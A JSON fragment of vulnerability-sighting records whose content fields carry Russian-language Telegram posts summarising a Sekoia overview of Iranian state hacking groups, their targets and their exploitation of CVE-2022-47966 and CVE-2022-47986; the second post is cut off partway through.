\u0432\u044b\u043d\u0443\u0434\u0438\u043b\u0438 \u0434\u0432\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f: \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u0435\u0440\u0435\u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0410\u0445\u043c\u0430\u0434\u0438\u043d\u0435\u0434\u0436\u0430\u0434\u0430 \u0432 2009 \u0433\u043e\u0434\u0443 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Stuxnet \u0432 2010, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0428\u0410 \u0438 \u0418\u0437\u0440\u0430\u0438\u043b\u044f \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0432\u0448\u0435\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0438 \u043d\u0430 \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u043f\u043e \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u044e \u0443\u0440\u0430\u043d\u0430.\n\n\u0412 2022-2023 \u0433\u043e\u0434\u0430\u0445 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0422\u0435\u0433\u0435\u0440\u0430\u043d\u043e\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0443\u0441\u0438\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0421\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u0439 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0418\u0440\u0430\u043d \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0441 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0435\u0439.\n\n\u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e, \u0418\u0440\u0430\u043d \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c \u0434\u0432\u0443\u043c\u044f \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u041a\u043e\u0440\u043f\u0443\u0441\u043e\u043c \u0441\u0442\u0440\u0430\u0436\u0435\u0439 \u0438\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0440\u0435\u0432\u043e\u043b\u044e\u0446\u0438\u0438 (\u041a\u0421\u0418\u0420) \u0438 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 (MOIS).\n\n\u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041a\u0421\u0418\u0420, \u2014 APT35, APT42, Nemesis Kitten \u0438 Cotton Sandstorm (ex-NEPTUNIUM) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0446\u0435\u043b\u044f\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438, \u0432\u043e\u0435\u043d\u043d\u044b\u043c\u0438, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043c\u043e\u0440\u0441\u043a\u0438\u043c\u0438 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u044b\u043c\u0438 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c\u0438 \u043d\u0430\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430 \u0438 \u0411\u043b\u0438\u0436\u043d\u0435\u0433\u043e \u0412\u043e\u0441\u0442\u043e\u043a\u0430. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0432 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044f \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436, \u0441\u0430\u0431\u043e\u0442\u0430\u0436, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438, \u0432 \u043c\u0435\u043d\u044c\u0448\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438.\n\n\u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0418\u0441\u043b\u0430\u043c\u0441\u043a\u043e\u0439 \u0420\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0438 \u0418\u0440\u0430\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 \u0438 \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u043d\u044b\u043c \u0438 \u043c\u0435\u043d\u0435\u0435 \u0438\u0434\u0435\u043e\u043b\u043e\u0433\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0447\u0435\u043c \u041a\u0421\u0418\u0420. \n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u2014 MuddyWater, Oilrig (\u043e\u043d\u0430 \u0436\u0435 APT34), Hexane, Agrius \u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f DarkBit (\u043e\u043d\u0430 \u0436\u0435 DEV-1084) \u2014 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0430, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u043c\u043e\u0440\u0441\u043a\u043e\u0439 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e-\u0434\u0438\u0432\u0435\u0440\u0441\u0438\u043e\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u0438 \u0446\u0435\u043b\u044f\u0445 \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \n\n\u0426\u0435\u043b\u0438 \u0438\u0440\u0430\u043d\u0441\u043a\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \n\n- \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u044b\u0445 \u0443 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u043e\u043f\u0435\u0440\u043d\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0418\u0437\u0440\u0430\u0438\u043b\u044c, \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0430\u044f \u0410\u0440\u0430\u0432\u0438\u044f \u0438 \u0441\u0442\u0440\u0430\u043d\u044b \u041f\u0435\u0440\u0441\u0438\u0434\u0441\u043a\u043e\u0433\u043e \u0437\u0430\u043b\u0438\u0432\u0430;\n\n- \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0430\u043c\u0438 \u0418\u0440\u0430\u043d\u0430, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0440\u0430\u0437\u0432\u0438\u0442 \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0447\u0435\u0440\u0435\u0437 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b.\n\n- \u0440\u0430\u0437\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430 \u0441\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Saudi Aramco, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0410\u043b\u0431\u0430\u043d\u0438\u0438, \u0438\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u00ab\u0422\u0435\u0445\u043d\u0438\u043e\u043d\u00bb);\n\n-  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438) \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f;\n\n- \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0431\u044b\u043b\u0438, (\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u043c\u0438 \u0444\u0438\u0440\u043c\u0430\u043c\u0438, \u043d\u0430\u043d\u044f\u0442\u044b\u043c\u0438 \u041a\u0421\u0418\u0420) \u2013 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443 \u0438 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0443 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Log4J, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0421\u0428\u0410. \n\n\u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0418\u0440\u0430\u043d\u0430 \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u043c\u043e\u0440\u0441\u043a\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0437\u043e\u043a \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0412 2023 \u0433\u043e\u0434\u0443 APT35 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u044b\u0441\u0442\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-47966 \u0438 CVE-2022-47986, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0445 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e \u043f\u044f\u0442\u0438 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0438 \u0441\u0442\u0430\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438. \n\nSekoia \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0418\u0440\u0430\u043d\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442 \u0440\u0430\u0441\u0442\u0438 \u043f\u043e \u043c\u0435\u0440\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0435\u0433\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0441\u0442\u0440\u0430\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0433\u0435\u043e\u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u0438 \u0441 \u0418\u0437\u0440\u0430\u0438\u043b\u0435\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0438\u0437-\u0437\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0443\u043b\u044c\u0442\u0440\u0430\u043a\u043e\u043d\u0441\u0435\u0440\u0432\u0430\u0442\u043e\u0440\u043e\u0432 \u043a \u0432\u043b\u0430\u0441\u0442\u0438.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://blog.sekoia.io/iran-cyber-threat-overview/ \n\n#\u0418\u0440\u0430\u043d #\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438", "creation_timestamp": "2026-07-27T00:01:00.294085Z"}, {"uuid": "67ad30d5-77f8-4d9a-a933-185a229c28cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/EchelonEyes/1732", "content": "\u041e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430\n\n\u0424\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Sekoia \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043a\u0438\u0431\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0418\u0440\u0430\u043d\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u0433\u0440\u043e\u0437\u044b, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0432\u0448\u0438\u0435 \u0432 2022-2023 \u0433\u043e\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0430\u043c \u0418\u0440\u0430\u043d \u0431\u044b\u043b \u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0440\u0430\u0436\u0434\u0435\u0431\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 \u0432\u043e\u0437\u043c\u0435\u0437\u0434\u0438\u044f. \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044e \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0418\u0440\u0430\u043d \u0432\u044b\u043d\u0443\u0434\u0438\u043b\u0438 \u0434\u0432\u0430 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f: \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u0435\u0440\u0435\u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0410\u0445\u043c\u0430\u0434\u0438\u043d\u0435\u0434\u0436\u0430\u0434\u0430 \u0432 2009 \u0433\u043e\u0434\u0443 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Stuxnet \u0432 2010, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u0421\u0428\u0410 \u0438 \u0418\u0437\u0440\u0430\u0438\u043b\u044f \u0438 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0438\u0432\u0448\u0435\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0438\u0444\u0443\u0433\u0438 \u043d\u0430 \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u043f\u043e \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u044e \u0443\u0440\u0430\u043d\u0430.\n\n\u0412 2022-2023 \u0433\u043e\u0434\u0430\u0445 \u043a\u043e\u043d\u0444\u0440\u043e\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0422\u0435\u0433\u0435\u0440\u0430\u043d\u043e\u043c \u0438 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0430\u043d\u0430\u043c\u0438 \u0443\u0441\u0438\u043b\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u043e\u0432 \u043f\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0421\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u0440\u0430\u043d\u0441\u043a\u043e\u0439 \u044f\u0434\u0435\u0440\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u044d\u0442\u0438\u043c \u0418\u0440\u0430\u043d \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0435\u0442 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0441 \u0421\u0430\u0443\u0434\u043e\u0432\u0441\u043a\u043e\u0439 \u0410\u0440\u0430\u0432\u0438\u0435\u0439.\n\n\u041d\u0430 